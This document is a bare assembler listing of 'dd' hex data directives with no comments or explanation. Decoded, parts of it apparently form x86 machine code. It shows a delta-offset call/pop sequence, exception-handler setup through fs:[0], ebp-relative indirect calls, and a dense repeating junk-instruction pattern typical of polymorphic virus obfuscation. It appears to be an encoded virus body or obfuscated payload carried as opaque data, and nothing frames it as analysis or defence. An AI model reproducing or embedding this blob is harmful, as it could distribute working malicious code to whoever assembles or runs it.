		dd 2AE995FFh, 8B660612h, 7FB5FFD9h, 6A0615BDh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0FF6CC356h, 2995FFDCh, 8B061205h, 1210D19Dh,	45BD8306h
		dd 2061214h, 58840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0A4AE77C3h, 14BCB2D9h
		dd 860F9D6Fh, 3, 8BDEB70Fh, 122A2585h, 0C606h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 72C35141h, 30259D0Bh
		dd 85C70612h, 6123031h,	0
		dd 93D9589h, 0B9E90612h, 0E9FFFFF4h, 11h, 674D512Ch, 8DD0E181h
		dd 646A7D88h, 0EEFEDE02h, 5BD8984h, 8B061205h, 51006AC1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0B53168E7h, 6120795h, 169858Dh, 0BF660612h, 8B6008A6h
		dd 1204899Dh, 0FAB70F06h, 50505061h, 0F525052h,	0F585A31h
		dd 5F585A31h, 0F240489h, 118Ah,	0CE900h, 57920000h, 32B72665h
		dd 0E920C1ECh, 6ACB8Ch,	2A45B589h, 6A0612h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D7C35242h, 7A338BE4h
		dd 13990E44h, 9858D94h,	6A06165Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 835BC356h
		dd 8D0905C0h, 61213CDh,	0FFBB6650h, 24048919h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 62C35747h, 3977ABCDh
		dd 0DB0D0C1Dh, 66BB66C5h, 69BD8B1Eh, 6A061212h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 8E0FC12Ah, 0
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0A10396C3h, 8C8CFC99h, 89AC2EBCh,	1221018Dh
		dd 29858906h, 0FF06122Fh, 1204AD95h, 0DF8B6606h, 8DFA8B66h
		dd 159D1A8Dh, 14E86006h, 7000000h, 0DCF15F69h, 2A23ED0h
		dd 8BD844BCh, 8EAF87A7h, 56AABAC0h, 8C0F595Fh, 11h, 0BE8h
		dd 0A1AEEA00h, 0EF7C3DEh, 0A1B9702Ah, 0D1FF615Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 67C35242h, 14F19D8Bh
		dd 0BD830612h, 6121FE9h, 7F850F01h, 0E9000000h,	7, 0BC09095Ch
		dd 0BBB94A35h, 238D63D9h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 531B71C3h, 0FE950h, 321B0000h
		dd 5B7E73C8h, 0C9613A6Fh, 0BCF5840Eh, 240489E1h, 20D9B589h
		dd 95FF0612h, 6121621h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0EFC35747h, 0CDE99386h, 3EC897A0h, 26699589h
		dd 0EEE90612h, 0E800000Dh, 0
		dd 13ED815Dh, 6A06165Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 2AB5C355h, 0FB1B175h
		dd 38Fh, 0E4CF8000h, 0E77EEF81h, 0B5893717h, 61215E5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 67C35242h
		dd 3A0CD4D8h, 858DE2E0h, 61595CAh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 15C35242h, 31459D8Bh, 89500612h
		dd 11E92404h, 53000000h, 0B82E1046h, 2B6499B9h,	3710A5DEh
		dd 0F0A9071Fh, 35FF64h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0CF81C356h
		dd 0BD0B516Dh, 6123271h, 258964h, 89000000h, 120F5595h
		dd 6D85FF06h, 6A061213h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8B1FC351h, 0EF8166DFh
		dd 0FF6A3409h, 0D10FBF66h, 0B5FFDC8Ah, 612120Dh, 8A0Fh
		dd 95FF0000h, 61235C9h,	102E9h,	0C5858900h, 0B0061234h
		dd 5E800h, 61C30000h, 2B9D18F0h, 1209A5BDh, 70E65B06h
		dd 0F3BF0F60h, 86F232BFh, 71E46129h, 613C66B3h,	0D1830Fh
		dd 0B70F0000h, 0C8B60FFFh, 6BAF8h, 9E90000h, 0EB000000h
		dd 78D6925h, 4C1943A7h,	8B66C18Bh, 4E8C1DFh, 0C067F381h
		dd 0F7661383h, 75BD8BE2h, 2B061209h, 85CF81C8h,	8B19D7E3h
		dd 0FABF0FD1h, 2625B589h, 0AE90612h, 3000000h, 122B119Dh
		dd 7CBF6606h, 25858B48h, 0F061222h, 381h, 0FABF0F00h, 2307C083h
		dd 122085BDh, 0C08306h,	0E890Fh, 8B600000h, 121AA585h
		dd 0A5B58906h, 6106122Fh, 830FD03Bh, 0Ch, 41E9FCh, 9D8B0000h
		dd 61223F5h, 0A958D8Bh,	820F0612h, 6, 210DBD33h, 0E1830612h
		dd 20840F01h, 80000000h, 0A583FACBh, 6120A95h, 9D3160FEh
		dd 6120FF9h, 61FAB70Fh,	22259589h, 0E90612h, 8D000000h
		dd 15F174B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 6A87B309h, 69B52900h, 0FF061227h
		dd 12247595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 37539BFBh, 0F23FB68h, 58Ch, 7F93BF00h
		dd 0C7B93C88h, 57000007h, 14E9h, 0C2201400h, 33D997F7h
		dd 6BDA6740h, 4EFF4EADh, 7FFAE7B9h, 6CBF5F8Dh, 830F2946h
		dd 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0DE86EC3h, 0B9000000h, 23CCE8B9h,	0CF5C2823h
		dd 49F7B41Eh, 9589FC5Bh, 612084Dh, 6AC02Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0C90613C3h
		dd 340D87B5h, 0F5BD89ADh, 0BA06121Fh, 0
		dd 33AD58B3h, 3E8D1C2h,	4E983D0h, 840FF475h, 0Bh, 6E9h
		dd 60E99C00h, 661E5DE8h, 0E806E381h, 880Dh, 0DEBF0F00h
		dd 958BDF8Bh, 6122791h,	13E9h, 0FC3FD200h, 2CB086FAh, 0AFACB985h
		dd 0B4D3CB5Dh, 0D1DAB56Ah, 34398D8Bh, 9D8B0612h, 6120FB1h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	81665818h
		dd 83D778D3h, 12042DBDh, 840F0006h, 41h, 2CD2C781h, 0B83389h
		dd 0F9000000h, 50658D8Dh, 9AB70612h, 7608BB66h,	6AE1FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD896DC3h, 6122389h, 0A5EF8166h, 5DBD839Fh,	6122Eh
		dd 4BE840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 81BBC5C3h, 8A5E14EDh, 8BFB698Bh
		dd 120849BDh, 4840F06h,	66000000h, 83E4BEBFh, 122E5DBDh
		dd 840F0106h, 497h, 9D04CF81h, 0BD8332ECh, 6122E5Dh, 4E860F03h
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 60B7C357h, 64196BF6h, 6A60F5ABh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 86DC357h,	0BDB5098Ah, 6606122Ch, 6AD98Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 7118D4C3h, 0E1805675h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 608F6AD6h
		dd 34D858Bh, 9D890612h,	6122CE9h, 0FC90A61h, 13F84h, 8D9D3300h
		dd 8B061207h, 121A8985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 47A0DDABh, 10E9h, 1F5D1B00h
		dd 0FD5592EDh, 9B502827h, 1C680256h, 3D8533E7h,	6A061214h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0CC76C352h, 435B589h, 0EE90612h, 0D1000000h
		dd 4834CF2h, 9DD0919Eh,	0F9F152AEh, 5F569089h, 90FB8B50h
		dd 0F98B006Ah, 3AC71668h, 81FB8BFFh, 3CE92404h,	6A00E4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0F197DFC3h, 0FFBE1684h, 5880F7Eh, 66000000h,	0DE26EF81h
		dd 0B5BD8Bh, 95FF0612h,	612325Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 60C35040h, 51D39635h, 2349BD8Bh
		dd 85890612h, 615BD7Fh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 5AC35545h, 538A76DFh,	30C2DB34h, 0FF2D380h
		dd 68Eh, 0E9EB8100h, 0E90C0B96h, 1CFh, 68C0Fh, 0F7810000h
		dd 7E9743D1h, 0BD77858Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0D7A00DC3h, 0D629C4F1h
		dd 2EBF6647h, 1800C7DCh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 4ABDC351h
		dd 0F8570F31h, 7BB58BFCh, 0E90615BDh, 0Dh, 0D40AA620h
		dd 4B2D08B6h, 116F1832h, 49858B65h, 6A06122Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 647EC351h, 91B94D6h,	12248DB5h, 51068906h, 8A0Fh, 8B5B0000h
		dd 121A8985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 56CA8A47h, 4689F993h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 47B87C5Eh, 50378231h, 81A420BBh, 2434896Fh, 0BD77B5FFh
		dd 0EE80615h, 37000000h, 0D064B0CEh, 0FE9E1BF6h, 0ADFA6DAEh
		dd 0DF8166E7h, 685BCE2Dh, 0CC4CC8F2h, 880Fh, 4810000h
		dd 0D23B0D24h, 69BD8B33h, 0F9061233h, 0BD7F858Dh, 8D010615h
		dd 61226E9h, 0CE96090h,	53000000h, 0C87E0EA3h, 1BE959AFh
		dd 6631B5ABh, 616547BBh, 0F6BB6650h, 6A90D2h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 4CE2F3C3h
		dd 0D2368F93h, 13E9A557h, 0C7000000h, 571BB5B5h, 4A4F6674h
		dd 0FA0C142Bh, 8A0E9736h, 0F6048DBh, 61F9C6BFh,	325D95FFh
		dd 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 57875FC3h, 61593300h, 1CC19589h, 85C70612h
		dd 6122E5Dh, 3,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	76C35646h, 4A248AC1h, 85DBCD12h, 1A619D8Bh, 890F0612h
		dd 15h,	0F870Fh, 9E80000h, 62000000h, 1E1ED908h, 0BF434D75h
		dd 7FBD835Fh, 615BDh, 47840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0CE83AC3h
		dd 88000000h, 0E6E93AA7h, 0C566DA58h, 8B1C9764h, 12302DBDh
		dd 9D035F06h, 6122CD1h,	23E9h, 8B03B300h, 1231459Dh, 0C305006h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	12E9h
		dd 0C9012100h, 0E6FAF6Eh, 0BE1C9152h, 0CBE80E25h, 0FC4977Ch
		dd 58Ch, 225EBB00h, 0BD83798Ch,	6122E5Dh, 0B1850F03h, 0E9000004h
		dd 7, 208FAD52h, 83B2FCB7h, 15BD7FBDh, 840F0006h, 498h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 29C35747h
		dd 89192051h, 12015DB5h, 7FB5FF06h, 6A0615BDh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 4059C350h, 1D43BB0Dh, 95FF67A9h, 61213B1h, 1A4D8531h
		dd 0B58B0612h, 615BD73h, 9E9h, 80E25F00h, 94BDCBE7h, 3350FD38h
		dd 1203D1BDh, 6C75F06h,	10001h,	3691F381h, 66967033h, 507038BBh
		dd 66605250h, 5F56D38Bh, 66310F61h, 585AFB8Bh, 0E9C78196h
		dd 0FF1F457Ah, 15BD7FB5h, 0FE8B6606h, 12F19D8Bh, 95FF0612h
		dd 61210DDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	11C35545h, 3054664Bh, 66340F98h, 6669E3BFh, 1D87F781h
		dd 0BD73B58Bh, 0BE90615h, 76000000h, 12B0EC73h,	4C0B3ECBh
		dd 858BF8CAh, 6122311h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0C3C35343h, 2A5B1BF9h, 7E9DCBBh, 0C1000000h
		dd 1E80E3DEh, 86893327h, 0C4h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0BBC35545h,	7E8F4B88h, 0BEBED781h
		dd 958B37C7h, 6122791h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0C5C35747h, 0CDBD8925h, 8306121Ah, 9D0904C2h
		dd 61200ADh, 7765BB66h,	29205089h, 121BC19Dh, 1A8B0F06h
		dd 0E8000000h, 12h, 8B8F9E7Ah, 56A54C3Ch, 147601A4h, 0FFA17A9h
		dd 0DE8AB386h, 2B858D5Fh, 0B0615D3h, 1231BD9Dh,	5BD8906h
		dd 89061235h, 0B886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 6AA387h, 0E852006Ah, 3
		dd 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0FAC35242h,	179651C7h, 82C85B21h
		dd 0FF49B728h, 15BD7FB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 2195FF34h
		dd 6A061216h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0DA82C353h, 66F3D338h,	6696DF8Bh
		dd 5150DE8Bh, 0F6BB5250h, 0F4072EEh, 4AD6BB31h,	585A1042h
		dd 9D0B965Bh, 6120FDDh,	5E9h, 1EA20200h, 0B5FFF9D1h, 615BD7Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 6FC35343h
		dd 3A48DCC9h, 0B589A034h, 61207B5h, 33D95FFh, 0DE90612h
		dd 1B000000h, 0AEF4DE18h, 0BA968ACBh, 52532820h, 24CDBD83h
		dd 0F000612h, 7784h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 8A155062h, 11E930h, 9F500000h
		dd 0CCE34AF7h, 2797554Ch, 0D3E278E2h, 5089C5FDh, 0CE856h
		dd 479C0000h, 5F1FFFA5h, 696F2017h, 7ABBAE37h, 5B3CD95Eh
		dd 2434895Bh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	0D2C35141h, 0E321CF85h,	5FDC8A56h, 0BD7FB5FFh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 8728E4C3h, 95FFB506h, 6122AE9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BAC35747h, 4CCD5DD1h
		dd 558589C4h, 0FF06121Ah, 15BD7FB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0A92E0315h
		dd 0B589CF39h, 61204A9h, 0FA96F381h, 95FF3555h,	6120529h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0A9C35545h
		dd 81B57BE0h, 1BBBC27h,	121365B5h, 45BD8306h, 2061214h
		dd 7A840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0ED976BC3h, 858BD9DAh, 6122A25h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D2C35242h
		dd 81858960h, 66061224h, 0C661CF8Bh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 8CA6BAC3h
		dd 7195463Eh, 0B529C8C8h, 61207B1h, 303185C7h, 612h, 30B30000h
		dd 0FFF34DE9h, 57006AFFh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0CC1B6C96h, 42E7D104h
		dd 3830FF6h, 80000000h,	0C18BF8EFh, 0DF8B6656h,	69858D5Fh
		dd 6A061201h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0FC6C351h, 683h, 4D9D8900h, 0F061227h
		dd 6090F9B7h, 0F98B6660h, 5E9h,	0C8AFF100h, 616122A6h
		dd 90DE8B50h, 3880Fh, 0C3800000h, 8B006A0Dh, 123229BDh
		dd 6A006A06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0EDACC352h, 104FC51h, 0BBA7AFD6h
		dd 6E9D858Dh, 0B70F0616h, 5C083F9h, 5090FB8Bh, 0FE8B6652h
		dd 585A310Fh, 0FDBB6650h, 6A90C7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 536221C3h, 0D3FA9ACh
		dd 6AE25Ch, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 14h,	6CC35040h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 56E02EC3h, 0F41DB1A9h
		dd 0FE95E67h, 4A000000h, 0B4F56CF8h, 942FA464h,	1ED90862h
		dd 95FF751Eh, 61204ADh,	4B4DDB81h, 7CB30C6Ah, 9D1A8D8Dh
		dd 0D7810615h, 3E0F2830h, 1BD38166h, 83D1FF11h,	121FE9BDh
		dd 850F0106h, 5Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 8CC35747h, 0BD3339F2h, 61212ADh, 6A026Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0C93FBC3h, 0B642BB90h, 8B5034F9h, 0BB6690F8h, 95FFFA92h
		dd 6121621h, 0D8E919B3h, 0E800000Bh, 0
		dd 0A7ED815Dh, 0E906166Eh, 8, 9D282A56h, 5F2067B6h, 0AC0FF781h
		dd 0DB8164BDh, 26EFE9CFh, 95CA858Dh, 830F0615h,	2, 0E990FE8Bh
		dd 13h,	5301CB7Bh, 47C031F5h, 0FC93AB49h, 0CD776FCEh, 50C82B6Eh
		dd 11E9h, 2D62A00h, 735EEFE8h, 0A2824AB4h, 9209E79Eh, 0E990E239h
		dd 6, 5D8D8F30h, 0DB810C51h, 79182B98h,	35FF64h, 60000000h
		dd 0FCC98160h, 6079B1A6h, 0C18B6161h, 25896461h, 0
		dd 7470DB81h, 85FF2297h, 612136Dh, 2085B529h, 0FF6A0612h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 25C35141h
		dd 4DBD8B1Dh, 0FF061213h, 1234D1B5h, 0BE806h, 0B4DA0000h
		dd 328FCFD3h, 0A3728794h, 0C8D0F1Fh, 0E8000000h, 6, 15C0EFEAh
		dd 5F5B7F3Ah, 35C995FFh, 0FE90612h, 31000001h, 1200B59Dh
		dd 0F00B006h, 70E6FBB7h, 2C15BD89h, 71E40612h, 830F613Ch
		dd 0F2h, 12E9h,	0CE9A6100h, 0F7CE145Dh,	0BFEBA633h, 8D86416Dh
		dd 0F3399EEh, 9E9C8B6h,	23000000h, 4BE7008Bh, 0EB9E7E6Ch
		dd 6BAh, 8BDE8A00h, 0F98B66C1h,	8904E8C1h, 1226619Dh, 0E2F76606h
		dd 336DBD2Bh, 0C82B0612h, 0C8A0Fh, 850F0000h, 6, 10A1BD09h
		dd 0D18B0612h, 330D9D8Bh, 3E90612h, 80000000h, 858BC2D7h
		dd 6120AD5h, 21A9BD8Bh,	0AE80612h, 23000000h, 1547D3Ah
		dd 83D64D86h, 99850156h, 5B061215h, 2B07C083h, 1226A99Dh
		dd 0C08306h, 3BD88B66h,	0C830FD0h, 0F9000000h, 47E9DF8Bh
		dd 66000000h, 8B86DABBh, 1219F58Dh, 1E18306h, 34840Fh
		dd 8B600000h, 120175B5h, 0D0B70F06h, 0D958961h,	83061221h
		dd 1219F5A5h, 0F4BFFE06h, 892950FAh, 1215F985h,	0D5958906h
		dd 8B06120Ah, 12036DBDh, 0E906h, 0B58D0000h, 615FA95h
		dd 6A006AF5h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 9C31C352h, 41DB8166h, 0ABF6660h
		dd 7595FFE2h, 0F061224h, 0B9F5FFBFh, 7E2h, 5018501h, 0E1830612h
		dd 7E9FCh, 24F80000h, 3BF74600h, 3890FBAh, 0F000000h, 0B8FCF8B7h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 69C35343h
		dd 5D92254Ah, 9D8BB270h, 612034Dh, 0BAh, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 0C233ADB8h, 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 0C14A6DFEh, 4EECB116h, 0FF813A8h, 880DFAB7h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0F0EC356h, 958BDBB7h, 6122791h, 34398D8Bh
		dd 0BE80612h, 0B7000000h, 711681A2h, 0BBB6990Bh, 13E81958h
		dd 1C000000h, 160E6B0Dh, 0DA41B950h, 1B2CBE45h,	11729D8Ch
		dd 5B50DD72h, 8B505F5Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 8E9h, 0F77EF700h,	34BDABE3h, 45BD299Dh, 83061204h
		dd 12042DBDh, 840F0006h, 81h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0CC35242h, 0FCBB8AEEh, 9223ED56h
		dd 0B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0DEBF06A1h, 0EDB29091h, 8DD88BC7h
		dd 1250658Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 25FE5795h, 19D8B4Eh, 0FF061234h
		dd 9CBB66E1h, 5DBD83DCh, 6122Eh, 35B840Fh, 8B600000h, 120C15B5h
		dd 0B70F6106h, 5DBD83DEh, 106122Eh, 35E840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 322D39C3h, 0B1352D7Ah, 0FCF8171h, 83396FD8h,	122E5DBDh
		dd 860F0306h, 2F2h, 66607AB7h, 66B1F7BBh, 6AD98Ch, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 37E6BC3h, 4E18089h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0EC35242h, 81D88A96h,	952B00E3h, 0C90AF546h
		dd 0D3840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0B1408DC3h, 81A2B796h, 858BFE8Bh
		dd 6121A89h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	71C35747h, 1431E1B0h, 3149AE02h, 121CD9BDh, 3D853306h
		dd 6A061214h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 6655C357h, 6650D98Eh, 890987BBh
		dd 95892404h, 6121C19h,	68F9006Ah, 7BEF6BE9h, 16243481h
		dd 6A7BF068h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0D115C352h, 7671FB26h,	0C21B589h
		dd 95FF0612h, 612325Dh,	0BD7F8589h, 0FA8B0615h,	180E9h
		dd 0DCBB6600h, 77858BF8h, 8B0615BDh, 121A8DBDh,	1BEB8106h
		dd 0C7588E2Ch, 1800h, 7BB58B00h, 0E80615BDh, 12h, 55C02F10h
		dd 66D47A23h, 237BC62Fh, 42D1B9C0h, 9D8BE630h, 6122BBDh
		dd 49858B5Fh, 0E806122Dh, 8, 8CDB4E71h,	2A4CEBDDh, 3CEF8166h
		dd 6895FC3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0F9C35343h, 8B54A8B9h, 121A8985h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0C34F55D4h, 8B609676h, 919D89D7h, 61061215h,	8B044689h
		dd 1225599Dh, 0B7535006h, 34895B7Fh, 55858924h,	0FF061224h
		dd 15BD77B5h, 0DEBF0F06h, 4E8h,	1F03FF00h, 448B5000h, 8B520424h
		dd 8B5BD8h, 12E9h, 623E9000h, 638C019Ah, 82716FF8h, 0A5FED7F7h
		dd 89596A70h, 0B3042444h, 6A58A3h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 226ACBC3h, 0BD7F858Dh
		dd 0B5890615h, 6120961h, 0DE9h,	710DF200h, 1DF64A50h, 0A0BE7153h
		dd 8B90959Eh, 0F98B50F9h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 199D8B43h
		dd 81061200h, 422B3DDFh, 5D95FF55h, 0F061232h, 688h, 61850900h
		dd 8B06122Bh, 12129D9Dh, 54BB6106h, 0C77816BCh,	122E5D85h
		dd 306h, 0A5BD0100h, 83061233h,	15BD7FBDh, 840F0006h, 26h
		dd 3CE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 6B9F146Ch, 3050A2F0h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0F0979828h, 6A05B7h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 860F15C3h, 3, 8B4BDB80h,	1206759Dh
		dd 5DBD8306h, 306122Eh,	3D4850Fh, 7E90000h, 1000000h, 37200F44h
		dd 0BD83812Fh, 615BD7Fh, 0BB840F00h, 66000003h,	0B5FFFE8Bh
		dd 615BD7Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	1CC35141h, 0BD8B1B61h, 6120A21h, 13B195FFh, 6A0612h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 9A29E0C3h, 1204BF86h, 0B58B5A96h, 615BD73h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1BC35141h, 457D8578h
		dd 0B5893447h, 6121431h, 106C7h, 6A0001h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 5CF524C3h
		dd 9B47220Ah, 8B85110Fh, 122DB59Dh, 0E8539606h,	7, 9BE7D0DBh
		dd 663B2BEFh, 5FAFC9BFh, 0BF66505Bh, 89965026h,	12343D85h
		dd 7FB5FF06h, 90615BDh,	122CB5BDh, 0DD95FF06h, 0E8061210h
		dd 0Dh,	0FC12B395h, 0ED572A5Fh,	756B429Ah, 1DCF8008h, 73B58B5Fh
		dd 0E90615BDh, 7, 182295D1h, 8B911B7Fh,	12231185h, 8689F806h
		dd 0C4h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0A9C35242h, 520CEC8Fh, 2CC65677h, 5D6DBB66h, 2791958Bh
		dd 0C2830612h, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 1321DFBBh, 0BD894EFCh
		dd 6122B8Dh, 81205089h,	0AB0BDCEBh, 2B858D39h, 890615D3h
		dd 12207585h, 0B8868906h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0AA6EC352h
